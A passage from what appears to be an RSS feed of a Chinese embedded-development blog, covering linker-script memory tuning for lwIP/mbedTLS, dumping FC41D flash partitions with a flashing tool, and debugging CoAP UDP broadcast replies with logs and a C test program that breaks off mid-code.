<p>tcm 使用了 50% 左右，lwip 内存管理相关的 mem memp 内存较大，可以将其放到到 tcm，从而减少 ram 的使用。</p>
<p>修改ld文件，在 tcm 内存段增加 mem memp 的配置。</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">*mem.c.o(.bss .bss.* .scommon .sbss .dynbss COMMON)
</span></span><span class="line"><span class="cl">*memp.c.o(.bss .bss.* .scommon .sbss .dynbss COMMON)
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">*coap_net.c.o(.bss .bss.* .scommon .sbss .dynbss COMMON) 
</span></span><span class="line"><span class="cl">*coap_pdu.c.o(.bss .bss.* .scommon .sbss .dynbss COMMON)
</span></span><span class="line"><span class="cl">*coap_uri.c.o(.bss .bss.* .scommon .sbss .dynbss COMMON)
</span></span></code></pre></td></tr></table>
</div>
</div><p>另外 mbedtls 的 MBEDTLS_AES_ROM_TABLES 配置也可以优化，定义 MBEDTLS_AES_ROM_TABLES 可以将一些预定义的表放到rom，从而减少ram的使用。之前为了减少 rom 的空间使用关闭了 MBEDTLS_AES_ROM_TABLES。</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="cp">#define MBEDTLS_AES_ROM_TABLES
</span></span></span></code></pre></td></tr></table>
</div>
</div><p>优化之后的内存使用情况：</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">Memory region         Used Size  Region Size  %age Used
</span></span><span class="line"><span class="cl">           flash:     <span class="m">1138056</span> B      <span class="m">3912</span> KB     28.41%
</span></span><span class="line"><span class="cl">             tcm:       <span class="m">60036</span> B        <span class="m">60</span> KB     97.71%
</span></span><span class="line"><span class="cl">            itcm:        <span class="m">3848</span> B         <span class="m">4</span> KB     93.95%
</span></span><span class="line"><span class="cl">             ram:       <span class="m">46196</span> B     <span class="m">196352</span> B     23.53%
</span></span></code></pre></td></tr></table>
</div>
</div><p>heap 空间最终增加了接近 40kB。</p>
<p>总之，&ndash;print-memory-usage 看内存整体的使用情况，codesize.py 解析 map 文件查看内存使用细节，根据这些信息调整内存布局或者优化、裁剪代码。</p>
]]></content:encoded>
    </item>
    <item>
      <title>FC41D 通过烧录工具 BKFIL 导出 flash 指定分区数据方法</title>
      <link>https://hacperme.com/posts/notes/20240711_fc41d_flash_dump/</link>
      <pubDate>Thu, 11 Jul 2024 02:00:18 +0800</pubDate>
      <guid>https://hacperme.com/posts/notes/20240711_fc41d_flash_dump/</guid>
      <description>按照分区地址和大小，在烧录工具上配置各个分区文件地址和大小。 按照标识顺序填写 点读flash 重启模组进下载模式 然后导出完成 也可以通过同样的方式</description>
      <content:encoded><![CDATA[<p>按照分区地址和大小，在烧录工具上配置各个分区文件地址和大小。</p>
<p><img loading="lazy" src="https://github.com/hacperme/picx-images-hosting/raw/master/20240711/image-20240711101046365.1021tszend.webp" alt="image-20240711101046365"  />
</p>
<p>按照标识顺序填写</p>
<p><img loading="lazy" src="https://github.com/hacperme/picx-images-hosting/raw/master/20240711/image-20240711100453379.7i09n4at0w.webp" alt="image-20240711100453379"  />
</p>
<p>点读flash</p>
<p><img loading="lazy" src="https://github.com/hacperme/picx-images-hosting/raw/master/20240711/image-20240711095336569.32huhuyrsd.webp" alt="image-20240711095336569"  />
</p>
<p>重启模组进下载模式</p>
<p><img loading="lazy" src="https://github.com/hacperme/picx-images-hosting/raw/master/20240711/image-20240711095408918.7p3hijxxq5.webp" alt="image-20240711095408918"  />
</p>
<p>然后导出完成</p>
<p><img loading="lazy" src="https://github.com/hacperme/picx-images-hosting/raw/master/20240711/image-20240711100625169.5tqwpxmsjq.webp" alt="image-20240711100625169"  />
</p>
<p>也可以通过同样的方式配置来擦除、写入指定位置大小的数据。</p>
]]></content:encoded>
    </item>
    <item>
      <title>udp socket 收不到数据问题</title>
      <link>https://hacperme.com/posts/notes/20240705_udp_socket/</link>
      <pubDate>Fri, 05 Jul 2024 02:00:18 +0800</pubDate>
      <guid>https://hacperme.com/posts/notes/20240705_udp_socket/</guid>
      <description>排查 udp socket 收不到数据问题，又长脑子啦。</description>
      <content:encoded><![CDATA[<p>最近在调试一个 coap 发送请求接收不到响应数据的问题，客户端往局域网内的广播地址发送请求收不到响应，但是往局域网的实际设备的地址发送请求却能收到响应。</p>
<p>coap://192.168.10.255:5683/qlink/searchRouter 广播地址收不到响应，一直 socket select 超时。</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span><span class="lnt">22
</span><span class="lnt">23
</span><span class="lnt">24
</span><span class="lnt">25
</span><span class="lnt">26
</span><span class="lnt">27
</span><span class="lnt">28
</span><span class="lnt">29
</span><span class="lnt">30
</span><span class="lnt">31
</span><span class="lnt">32
</span><span class="lnt">33
</span><span class="lnt">34
</span><span class="lnt">35
</span><span class="lnt">36
</span><span class="lnt">37
</span><span class="lnt">38
</span><span class="lnt">39
</span><span class="lnt">40
</span><span class="lnt">41
</span><span class="lnt">42
</span><span class="lnt">43
</span><span class="lnt">44
</span><span class="lnt">45
</span><span class="lnt">46
</span><span class="lnt">47
</span><span class="lnt">48
</span><span class="lnt">49
</span><span class="lnt">50
</span><span class="lnt">51
</span><span class="lnt">52
</span><span class="lnt">53
</span><span class="lnt">54
</span><span class="lnt">55
</span><span class="lnt">56
</span><span class="lnt">57
</span><span class="lnt">58
</span><span class="lnt">59
</span><span class="lnt">60
</span><span class="lnt">61
</span><span class="lnt">62
</span><span class="lnt">63
</span><span class="lnt">64
</span><span class="lnt">65
</span><span class="lnt">66
</span><span class="lnt">67
</span><span class="lnt">68
</span><span class="lnt">69
</span><span class="lnt">70
</span><span class="lnt">71
</span><span class="lnt">72
</span><span class="lnt">73
</span><span class="lnt">74
</span><span class="lnt">75
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">libcoap on  dev <span class="o">[</span>!+?<span class="o">]</span> via △ v3.19.1 via 🌙 
</span></span><span class="line"><span class="cl">❯ .<span class="se">\b</span>uild<span class="se">\m</span>ingw<span class="se">\x</span>86_64<span class="se">\r</span>elease<span class="se">\c</span>oap_client.exe coap://192.168.10.255:5683/qlink/searchRouter 
</span></span><span class="line"><span class="cl">uri:coap://192.168.10.255:5683/qlink/searchRouter
</span></span><span class="line"><span class="cl">send_data:<span class="o">{</span><span class="s2">&#34;searchKey&#34;</span>:<span class="s2">&#34;ANDLINK-DEVICE&#34;</span>,<span class="s2">&#34;andlinkVersion&#34;</span>:<span class="s2">&#34;V3&#34;</span><span class="o">}</span>
</span></span><span class="line"><span class="cl">is_mcast <span class="m">0</span>
</span></span><span class="line"><span class="cl">create socket2:592
</span></span><span class="line"><span class="cl">bind2!!!!!!!!!!!
</span></span><span class="line"><span class="cl">Jul <span class="m">04</span> 16:29:43.593 DEBG ***192.168.10.3:12345 &lt;-&gt; 192.168.10.255:5683 UDP : session 00007ff718508994: created outgoing session
</span></span><span class="line"><span class="cl">Jul <span class="m">04</span> 16:29:43.599 DEBG ***192.168.10.3:12345 &lt;-&gt; 192.168.10.255:5683 UDP : session connected
</span></span><span class="line"><span class="cl">v:1 t:CON c:POST i:cbb3 <span class="o">{</span>01<span class="o">}</span> <span class="o">[</span> Uri-Path:qlink, Uri-Path:searchRouter, Content-Format:application/json <span class="o">]</span> :: <span class="s1">&#39;{&#34;searchKey&#34;:&#34;ANDLINK-DEVICE&#34;,&#34;andlinkVersion&#34;:&#34;V3&#34;}&#39;</span>
</span></span><span class="line"><span class="cl">Jul <span class="m">04</span> 16:29:43.609 DEBG *  192.168.10.3:12345 &lt;-&gt; 192.168.10.255:5683 UDP : netif: sent   <span class="m">86</span> bytes
</span></span><span class="line"><span class="cl">v:1 t:CON c:POST i:cbb3 <span class="o">{</span>01<span class="o">}</span> <span class="o">[</span> Uri-Path:qlink, Uri-Path:searchRouter, Content-Format:application/json, Request-Tag:0xd13222ab <span class="o">]</span> :: <span class="s1">&#39;{&#34;searchKey&#34;:&#34;ANDLINK-DEVICE&#34;,&#34;andlinkVersion&#34;:&#34;V3&#34;}&#39;</span>
</span></span><span class="line"><span class="cl">Jul <span class="m">04</span> 16:29:43.621 DEBG ** 192.168.10.3:12345 &lt;-&gt; 192.168.10.255:5683 UDP : <span class="nv">mid</span><span class="o">=</span>0xcbb3: added to retransmit queue <span class="o">(</span>2969ms<span class="o">)</span>
</span></span><span class="line"><span class="cl">nfds:593
</span></span><span class="line"><span class="cl"><span class="k">select</span>:0
</span></span><span class="line"><span class="cl">nfds:593
</span></span><span class="line"><span class="cl"><span class="k">select</span>:0
</span></span><span class="line"><span class="cl">nfds:593
</span></span><span class="line"><span class="cl"><span class="k">select</span>:0
</span></span><span class="line"><span class="cl">nfds:593
</span></span><span class="line"><span class="cl"><span class="k">select</span>:0
</span></span><span class="line"><span class="cl">nfds:593
</span></span><span class="line"><span class="cl"><span class="k">select</span>:0
</span></span><span class="line"><span class="cl">nfds:593
</span></span><span class="line"><span class="cl"><span class="k">select</span>:0
</span></span><span class="line"><span class="cl">nfds:593
</span></span><span class="line"><span class="cl"><span class="k">select</span>:0
</span></span><span class="line"><span class="cl">nfds:593
</span></span><span class="line"><span class="cl"><span class="k">select</span>:0
</span></span><span class="line"><span class="cl">nfds:593
</span></span><span class="line"><span class="cl"><span class="k">select</span>:0
</span></span><span class="line"><span class="cl">nfds:593
</span></span><span class="line"><span class="cl"><span class="k">select</span>:0
</span></span><span class="line"><span class="cl">nfds:593
</span></span><span class="line"><span class="cl"><span class="k">select</span>:0
</span></span><span class="line"><span class="cl">nfds:593
</span></span><span class="line"><span class="cl"><span class="k">select</span>:0
</span></span><span class="line"><span class="cl">nfds:593
</span></span><span class="line"><span class="cl"><span class="k">select</span>:0
</span></span><span class="line"><span class="cl">nfds:593
</span></span><span class="line"><span class="cl"><span class="k">select</span>:0
</span></span><span class="line"><span class="cl">nfds:593
</span></span><span class="line"><span class="cl"><span class="k">select</span>:0
</span></span><span class="line"><span class="cl">nfds:593
</span></span><span class="line"><span class="cl"><span class="k">select</span>:0
</span></span><span class="line"><span class="cl">nfds:593
</span></span><span class="line"><span class="cl"><span class="k">select</span>:0
</span></span><span class="line"><span class="cl">nfds:593
</span></span><span class="line"><span class="cl"><span class="k">select</span>:0
</span></span><span class="line"><span class="cl">nfds:593
</span></span><span class="line"><span class="cl"><span class="k">select</span>:0
</span></span><span class="line"><span class="cl">nfds:593
</span></span><span class="line"><span class="cl"><span class="k">select</span>:0
</span></span><span class="line"><span class="cl">nfds:593
</span></span><span class="line"><span class="cl"><span class="k">select</span>:0
</span></span><span class="line"><span class="cl">nfds:593
</span></span><span class="line"><span class="cl"><span class="k">select</span>:0
</span></span><span class="line"><span class="cl">nfds:593
</span></span><span class="line"><span class="cl"><span class="k">select</span>:0
</span></span><span class="line"><span class="cl">nfds:593
</span></span><span class="line"><span class="cl"><span class="k">select</span>:0
</span></span><span class="line"><span class="cl">nfds:593
</span></span><span class="line"><span class="cl"><span class="k">select</span>:0
</span></span><span class="line"><span class="cl">nfds:593
</span></span><span class="line"><span class="cl"><span class="k">select</span>:0
</span></span><span class="line"><span class="cl">nfds:593
</span></span><span class="line"><span class="cl">nfds:593
</span></span><span class="line"><span class="cl"><span class="k">select</span>:0
</span></span><span class="line"><span class="cl">Jul <span class="m">04</span> 16:29:46.597 DEBG ***EVENT: COAP_EVENT_MSG_RETRANSMITTED
</span></span><span class="line"><span class="cl">Jul <span class="m">04</span> 16:29:46.600 DEBG ** 192.168.10.3:12345 &lt;-&gt; 192.168.10.255:5683 UDP : <span class="nv">mid</span><span class="o">=</span>0xcbb3: retransmission <span class="c1">#1 (next 5938ms)</span>
</span></span><span class="line"><span class="cl">Jul <span class="m">04</span> 16:29:46.604 DEBG *  192.168.10.3:12345 &lt;-&gt; 192.168.10.255:5683 UDP : netif: sent   <span class="m">86</span> bytes
</span></span><span class="line"><span class="cl">v:1 t:CON c:POST i:cbb3 <span class="o">{</span>01<span class="o">}</span> <span class="o">[</span> Uri-Path:qlink, Uri-Path:searchRouter, Content-Format:application/json, Request-Tag:0xd13222ab <span class="o">]</span> :: <span class="s1">&#39;{&#34;searchKey&#34;:&#34;ANDLINK-DEVICE&#34;,&#34;andlinkVersion&#34;:&#34;V3&#34;}&#39;</span>
</span></span><span class="line"><span class="cl"><span class="k">select</span>:0
</span></span><span class="line"><span class="cl">Jul <span class="m">04</span> 16:29:46.722 ERR  timeout
</span></span><span class="line"><span class="cl">Jul <span class="m">04</span> 16:29:46.724 DEBG ***192.168.10.3:12345 &lt;-&gt; 192.168.10.255:5683 UDP : session 00007ff718508994: closed
</span></span></code></pre></td></tr></table>
</div>
</div><p>对比正常的，coap://192.168.10.1:5683/qlink/searchRouter 这个地址可以收到响应，程序相同只是请求地址不同。</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span><span class="lnt">22
</span><span class="lnt">23
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">libcoap on  dev <span class="o">[</span>!+?<span class="o">]</span> via △ v3.19.1 via 🌙 took 2s
</span></span><span class="line"><span class="cl">❯ .<span class="se">\b</span>uild<span class="se">\m</span>ingw<span class="se">\x</span>86_64<span class="se">\r</span>elease<span class="se">\c</span>oap_client.exe coap://192.168.10.1:5683/qlink/searchRouter   
</span></span><span class="line"><span class="cl">uri:coap://192.168.10.1:5683/qlink/searchRouter
</span></span><span class="line"><span class="cl">send_data:<span class="o">{</span><span class="s2">&#34;searchKey&#34;</span>:<span class="s2">&#34;ANDLINK-DEVICE&#34;</span>,<span class="s2">&#34;andlinkVersion&#34;</span>:<span class="s2">&#34;V3&#34;</span><span class="o">}</span>
</span></span><span class="line"><span class="cl">is_mcast <span class="m">0</span>
</span></span><span class="line"><span class="cl">create socket2:604
</span></span><span class="line"><span class="cl">bind2!!!!!!!!!!!
</span></span><span class="line"><span class="cl">Jul <span class="m">04</span> 16:29:32.373 DEBG ***192.168.10.3:12345 &lt;-&gt; 192.168.10.1:5683 UDP : session 00007ff718508994: created outgoing session
</span></span><span class="line"><span class="cl">Jul <span class="m">04</span> 16:29:32.381 DEBG ***192.168.10.3:12345 &lt;-&gt; 192.168.10.1:5683 UDP : session connected
</span></span><span class="line"><span class="cl">v:1 t:CON c:POST i:1757 <span class="o">{</span>01<span class="o">}</span> <span class="o">[</span> Uri-Path:qlink, Uri-Path:searchRouter, Content-Format:application/json <span class="o">]</span> :: <span class="s1">&#39;{&#34;searchKey&#34;:&#34;ANDLINK-DEVICE&#34;,&#34;andlinkVersion&#34;:&#34;V3&#34;}&#39;</span>
</span></span><span class="line"><span class="cl">Jul <span class="m">04</span> 16:29:32.392 DEBG *  192.168.10.3:12345 &lt;-&gt; 192.168.10.1:5683 UDP : netif: sent   <span class="m">86</span> bytes
</span></span><span class="line"><span class="cl">ICE<span class="s2">&#34;,&#34;</span>andlinkVersion<span class="s2">&#34;:&#34;</span>V3<span class="s2">&#34;}&#39;
</span></span></span><span class="line"><span class="cl"><span class="s2">Jul 04 16:29:32.406 DEBG ** 192.168.10.3:12345 &lt;-&gt; 192.168.10.1:5683 UDP : mid=0x1757: added to retransmit queue (2219ms)
</span></span></span><span class="line"><span class="cl"><span class="s2">nfds:605
</span></span></span><span class="line"><span class="cl"><span class="s2">select:1
</span></span></span><span class="line"><span class="cl"><span class="s2">Jul 04 16:29:32.413 DEBG *  192.168.10.3:12345 &lt;-&gt; 192.168.10.1:5683 UDP : netif: recv   60 bytes
</span></span></span><span class="line"><span class="cl"><span class="s2">v:1 t:ACK c:2.05 i:1757 {01} [ Content-Format:application/json ] :: &#39;{&#34;</span>searchAck<span class="s2">&#34;:&#34;</span>ANDLINK-ROUTER<span class="s2">&#34;,&#34;</span>andlinkVersion<span class="s2">&#34;:&#34;</span>V4<span class="s2">&#34;}&#39;
</span></span></span><span class="line"><span class="cl"><span class="s2">Jul 04 16:29:32.422 DEBG ** 192.168.10.3:12345 &lt;-&gt; 192.168.10.1:5683 UDP : mid=0x1757: removed (1)
</span></span></span><span class="line"><span class="cl"><span class="s2">have_response
</span></span></span><span class="line"><span class="cl"><span class="s2">v:1 t:ACK c:2.05 i:1757 {01} [ Content-Format:application/json ] :: &#39;{&#34;</span>searchAck<span class="s2">&#34;:&#34;</span>ANDLINK-ROUTER<span class="s2">&#34;,&#34;</span>andlinkVersion<span class="s2">&#34;:&#34;</span>V4<span class="s2">&#34;}&#39;
</span></span></span><span class="line"><span class="cl"><span class="s2">recv[52]:{&#34;</span>searchAck<span class="s2">&#34;:&#34;</span>ANDLINK-ROUTER<span class="s2">&#34;,&#34;</span>andlinkVersion<span class="s2">&#34;:&#34;</span>V4<span class="s2">&#34;}
</span></span></span><span class="line"><span class="cl"><span class="s2">Jul 04 16:29:32.437 DEBG ***192.168.10.3:12345 &lt;-&gt; 192.168.10.1:5683 UDP : session 00007ff718508994: closed
</span></span></span><span class="line"><span class="cl"><span class="s2">recv rsp:{&#34;</span>searchAck<span class="s2">&#34;:&#34;</span>ANDLINK-ROUTER<span class="s2">&#34;,&#34;</span>andlinkVersion<span class="s2">&#34;:&#34;</span>V4<span class="s2">&#34;}
</span></span></span></code></pre></td></tr></table>
</div>
</div><p><img loading="lazy" src="https://github.com/hacperme/picx_hosting/raw/master/20210507/60d7eaff8e5efa6a6970def69f7f49a.66rpo8sdnvc0.webp" alt=""  />
</p>
<p>抓包分析看到服务器有回复，但 socket 就是收不到数据，百思不得其解。</p>
<p>暂时没有什么分析思路，于是打算写个简单的 udp demo 在两台电脑上运行验证看看，一台电脑往广播地址发生数据，另一台电脑一直监听 socket 收数据, 收到数据再往源地址发一个回复的测试数据，然后看向广播地址发送数据的电脑能否收到数据。验证下来又是正常的，两边都能收发数据。</p>
<p>后面再看了一遍 coap 代码的执行流程，创建 udp socket 之后调用了 connect，收发数据使用 send read 接口，而不是 sendto recvfrom，怀疑差别在这里，于是修改测试程序，再验证一下。</p>
<p>往广播地址发送数据的测试程序：</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">  1
</span><span class="lnt">  2
</span><span class="lnt">  3
</span><span class="lnt">  4
</span><span class="lnt">  5
</span><span class="lnt">  6
</span><span class="lnt">  7
</span><span class="lnt">  8
</span><span class="lnt">  9
</span><span class="lnt"> 10
</span><span class="lnt"> 11
</span><span class="lnt"> 12
</span><span class="lnt"> 13
</span><span class="lnt"> 14
</span><span class="lnt"> 15
</span><span class="lnt"> 16
</span><span class="lnt"> 17
</span><span class="lnt"> 18
</span><span class="lnt"> 19
</span><span class="lnt"> 20
</span><span class="lnt"> 21
</span><span class="lnt"> 22
</span><span class="lnt"> 23
</span><span class="lnt"> 24
</span><span class="lnt"> 25
</span><span class="lnt"> 26
</span><span class="lnt"> 27
</span><span class="lnt"> 28
</span><span class="lnt"> 29
</span><span class="lnt"> 30
</span><span class="lnt"> 31
</span><span class="lnt"> 32
</span><span class="lnt"> 33
</span><span class="lnt"> 34
</span><span class="lnt"> 35
</span><span class="lnt"> 36
</span><span class="lnt"> 37
</span><span class="lnt"> 38
</span><span class="lnt"> 39
</span><span class="lnt"> 40
</span><span class="lnt"> 41
</span><span class="lnt"> 42
</span><span class="lnt"> 43
</span><span class="lnt"> 44
</span><span class="lnt"> 45
</span><span class="lnt"> 46
</span><span class="lnt"> 47
</span><span class="lnt"> 48
</span><span class="lnt"> 49
</span><span class="lnt"> 50
</span><span class="lnt"> 51
</span><span class="lnt"> 52
</span><span class="lnt"> 53
</span><span class="lnt"> 54
</span><span class="lnt"> 55
</span><span class="lnt"> 56
</span><span class="lnt"> 57
</span><span class="lnt"> 58
</span><span class="lnt"> 59
</span><span class="lnt"> 60
</span><span class="lnt"> 61
</span><span class="lnt"> 62
</span><span class="lnt"> 63
</span><span class="lnt"> 64
</span><span class="lnt"> 65
</span><span class="lnt"> 66
</span><span class="lnt"> 67
</span><span class="lnt"> 68
</span><span class="lnt"> 69
</span><span class="lnt"> 70
</span><span class="lnt"> 71
</span><span class="lnt"> 72
</span><span class="lnt"> 73
</span><span class="lnt"> 74
</span><span class="lnt"> 75
</span><span class="lnt"> 76
</span><span class="lnt"> 77
</span><span class="lnt"> 78
</span><span class="lnt"> 79
</span><span class="lnt"> 80
</span><span class="lnt"> 81
</span><span class="lnt"> 82
</span><span class="lnt"> 83
</span><span class="lnt"> 84
</span><span class="lnt"> 85
</span><span class="lnt"> 86
</span><span class="lnt"> 87
</span><span class="lnt"> 88
</span><span class="lnt"> 89
</span><span class="lnt"> 90
</span><span class="lnt"> 91
</span><span class="lnt"> 92
</span><span class="lnt"> 93
</span><span class="lnt"> 94
</span><span class="lnt"> 95
</span><span class="lnt"> 96
</span><span class="lnt"> 97
</span><span class="lnt"> 98
</span><span class="lnt"> 99
</span><span class="lnt">100
</span><span class="lnt">101
</span><span class="lnt">102
</span><span class="lnt">103
</span><span class="lnt">104
</span><span class="lnt">105
</span><span class="lnt">106
</span><span class="lnt">107
</span><span class="lnt">108
</span><span class="lnt">109
</span><span class="lnt">110
</span><span class="lnt">111
</span><span class="lnt">112
</span><span class="lnt">113
</span><span class="lnt">114
</span><span class="lnt">115
</span><span class="lnt">116
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;stdlib.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;string.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;unistd.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;pthread.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#ifdef _WIN32
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;windows.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;winsock2.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;ws2tcpip.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#endif
</span></span></span><span class="line"><span class="cl"><span class="cp"></span>
</span></span><span class="line"><span class="cl"><span class="cp">#define BROADCAST_IP &#34;192.168.10.255&#34;
</span></span></span><span class="line"><span class="cl"><span class="cp">#define PORT 12345
</span></span></span><span class="line"><span class="cl"><span class="cp">#define MESSAGE &#34;Hello, Broadcast!&#34;
</span></span></span><span class="line"><span class="cl"><span class="cp"></span><span class="kt">int</span> <span class="n">sock</span> <span class="o">=</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="kt">int</span> <span class="n">sock_ok</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kt">void</span> <span class="o">*</span><span class="nf">receive_broadcast</span><span class="p">(</span><span class="kt">void</span> <span class="o">*</span><span class="n">arg</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  
</span></span><span class="line"><span class="cl">    <span class="k">struct</span> <span class="n">sockaddr_in</span> <span class="n">local_addr</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="kt">char</span> <span class="n">buffer</span><span class="p">[</span><span class="mi">256</span><span class="p">];</span>
</span></span><span class="line"><span class="cl">    <span class="kt">int</span> <span class="n">addr_len</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="kt">int</span> <span class="n">message_len</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">while</span> <span class="p">(</span><span class="n">sock_ok</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">while</span> <span class="p">(</span><span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="n">addr_len</span> <span class="o">=</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">local_addr</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="c1">// message_len = recvfrom(sock, buffer, sizeof(buffer) - 1, 0, (struct sockaddr*)&amp;local_addr, &amp;addr_len);
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>        <span class="n">message_len</span> <span class="o">=</span> <span class="nf">recv</span><span class="p">(</span><span class="n">sock</span><span class="p">,</span> <span class="n">buffer</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">buffer</span><span class="p">)</span> <span class="o">-</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="p">(</span><span class="n">message_len</span> <span class="o">&lt;</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="nf">perror</span><span class="p">(</span><span class="s">&#34;recvfrom&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">            <span class="nf">close</span><span class="p">(</span><span class="n">sock</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">            <span class="nf">pthread_exit</span><span class="p">(</span><span class="nb">NULL</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="n">buffer</span><span class="p">[</span><span class="n">message_len</span><span class="p">]</span> <span class="o">=</span> <span class="sc">&#39;\0&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;Received message from %s: %s</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="nf">inet_ntoa</span><span class="p">(</span><span class="n">local_addr</span><span class="p">.</span><span class="n">sin_addr</span><span class="p">),</span> <span class="n">buffer</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="nf">close</span><span class="p">(</span><span class="n">sock</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nf">pthread_exit</span><span class="p">(</span><span class="nb">NULL</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kt">int</span> <span class="nf">main</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="k">struct</span> <span class="n">sockaddr_in</span> <span class="n">broadcast_addr</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="kt">int</span> <span class="n">broadcast_enable</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="kt">pthread_t</span> <span class="n">receive_thread</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="k">struct</span> <span class="n">sockaddr_in</span> <span class="n">local_addr</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="cp">#ifdef _WIN32
</span></span></span><span class="line"><span class="cl"><span class="cp"></span>    <span class="n">WORD</span> <span class="n">wVersionRequested</span><span class="p">;</span>
